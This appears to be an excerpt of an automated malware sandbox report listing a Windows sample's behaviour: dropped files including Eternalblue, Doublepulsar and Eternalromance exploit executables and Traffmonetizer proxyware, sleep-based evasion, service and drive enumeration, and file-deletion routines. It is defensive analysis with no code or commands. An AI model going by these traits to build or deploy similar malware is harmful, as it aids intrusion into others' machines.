Source: C:\Windows\SysWOW64\svchost.exe	Code function: OpenSCManagerA,EnumServicesStatusA,EnumServicesStatusA,LocalAlloc,LocalAlloc,EnumServicesStatusA,LocalAlloc,lstrlenA,OpenServiceA,QueryServiceConfig2A,lstrcpyA,lstrcpyA,QueryServiceConfigA,lstrcpyA,LocalSize,LocalReAlloc,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,CloseServiceHandle,CloseServiceHandle,LocalReAlloc,	29_2_0040D5E0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 86400000
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 86400000
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3694	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4349	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3556
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3318
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 2906
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 604
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 656
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 371
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 1663
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: foregroundWindowGot 1774
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Window / User API: threadDelayed 5380
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Window / User API: threadDelayed 4427

Source: C:\Windows\SysWOW64\svchost.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_29-6983

Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.Unsafe.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Writer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.ReaderWriter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Dynamic.Runtime.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\libeay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Numerics.Vectors.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Data.Common.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Expressions.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\dmgd-4.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.ValueTuple.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\ucl.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Parallel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Csp.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\xdvl-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.VisualC.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\Eternalblue-2.2.0.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\trfo-2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.ZipFile.dll	Jump to dropped file
Source: C:\Windows\Temp\Hooks.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Algorithms.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Console.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.ObjectModel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\libxml2.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\posh-0.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\Doublepulsar-1.3.1.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\trch-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Ping.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.ResourceManager.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Contracts.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NetworkInformation.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\x64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.RegularExpressions.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\tucl-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Sockets.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.ThreadPool.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\crli-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Xml.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.IsolatedStorage.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Requests.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Http.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Timer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Thread.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Debug.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.StackTrace.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NameResolution.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TextWriterTraceListener.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\coli-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.RuntimeInformation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Overlapped.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.UnmanagedMemoryStream.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Memory.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Claims.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Parallel.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\x86.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Calendars.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Dropped PE file which has not been started: C:\Windows\Logs\RunDllExe.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.XDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.SecureString.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encodings.Web.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.FileVersionInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.TypeConverter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebHeaderCollection.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\exma-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Principal.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Reader.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\Eternalromance-1.4.0.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TraceSource.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\Base.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Queryable.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Numerics.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Encoding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Json.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Formatters.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\tibe-2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tracing.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\cnli-1.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\zlib1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Watcher.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tools.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.DriveInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Json.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	Dropped PE file which has not been started: C:\Windows\Temp\ssleay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlSerializer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Metadata.dll	Jump to dropped file

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess

graph_0-27052

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	API coverage: 7.2 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 3.9 %
Source: C:\Windows\Temp\Wmicc.exe	API coverage: 4.7 %

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_0040C190

29_2_0040C190

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3732	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7368	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe TID: 7768	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe TID: 7776	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 13028	Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 12844	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 12496	Thread sleep count: 2906 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 12508	Thread sleep count: 604 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 12508	Thread sleep time: -52185600000s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 12444	Thread sleep count: 656 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 12444	Thread sleep time: -656000s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 12444	Thread sleep count: 371 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 12444	Thread sleep time: -371000s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 12508	Thread sleep count: 1663 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 12508	Thread sleep time: -143683200000s >= -30000s
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe TID: 32060	Thread sleep count: 5380 > 30
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe TID: 32060	Thread sleep count: 4427 > 30
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe TID: 33244	Thread sleep time: -18446744073709540s >= -30000s
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe TID: 33244	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe TID: 33244	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 32496	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\svchost.exe

Thread sleep count: Count: 2906 delay: -8

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 27_2_10017460 FindFirstFileA,RemoveDirectoryA,RemoveDirectoryA,DeleteFileA,FindNextFileA,FindClose,	27_2_10017460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00407CF0 FindFirstFileA,FindClose,FindClose,	29_2_00407CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_004075B0 wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	29_2_004075B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00407DB0 FindFirstFileA,FindClose,CreateFileA,CloseHandle,	29_2_00407DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00407A00 lstrlenA,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,??2@YAPAXI@Z,??3@YAXPAX@Z,wsprintfA,FindNextFileA,FindClose,	29_2_00407A00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_004073E0 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlenA,FindNextFileA,LocalFree,FindClose,	29_2_004073E0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_00407220 GetLogicalDriveStringsA,GetVolumeInformationA,SHGetFileInfoA,lstrlenA,lstrlenA,lstrlenA,GetDiskFreeSpaceExA,GetDriveTypeA,lstrlenA,

29_2_00407220

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_0040E410 OpenEventA,Sleep,GetVersionExA,gethostname,GetTickCount,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,getsockname,GetSystemInfo,wsprintfA,GlobalMemoryStatus,lstrlenA,

29_2_0040E410

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 86400000
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 86400000
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Thread delayed: delay time: 60000
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Thread delayed: delay time: 30000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: svchost.exe, 0000001D.00000002.4095891840.0000000003200000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV
